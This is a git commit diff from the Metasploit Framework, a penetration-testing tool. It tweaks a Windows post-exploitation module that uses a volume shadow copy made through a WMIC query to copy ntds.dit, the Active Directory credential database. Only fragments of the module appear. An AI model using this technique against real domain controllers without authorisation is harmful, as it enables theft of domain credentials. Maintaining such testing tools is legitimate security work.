put rhost option back

it is needed for the wmic query that
creates the shadowcopy

MSP-12867
bug/bundler_fix
David Maloney 2015-07-02 14:46:40 -05:00
parent 7b2b526ea1
commit e843db78dc
No known key found for this signature in database
GPG Key ID: DEDBA9DC3A913DB2
1 changed files with 2 additions and 2 deletions

View File

@ -28,7 +28,7 @@ class Metasploit3 < Msf::Post
'Platform' => [ 'win' ], 'Platform' => [ 'win' ],
'SessionTypes' => [ 'meterpreter' ] 'SessionTypes' => [ 'meterpreter' ]
)) ))
deregister_options('RHOST','SMBUser','SMBPass', 'SMBDomain') deregister_options('SMBUser','SMBPass', 'SMBDomain')
end end
def run def run
@ -144,7 +144,7 @@ class Metasploit3 < Msf::Post
def vss_method def vss_method
location = ntds_location.dup location = ntds_location.dup
volume = location.slice!(0,3) volume = location.slice!(0,3)
id = create_shadowcopy("#{volume}\\") id = create_shadowcopy("#{volume}")
print_status "Getting Details of ShadowCopy #{id}" print_status "Getting Details of ShadowCopy #{id}"
sc_details = get_sc_details(id) sc_details = get_sc_details(id)
sc_path = "#{sc_details['DeviceObject']}\\#{location}\\ntds.dit" sc_path = "#{sc_details['DeviceObject']}\\#{location}\\ntds.dit"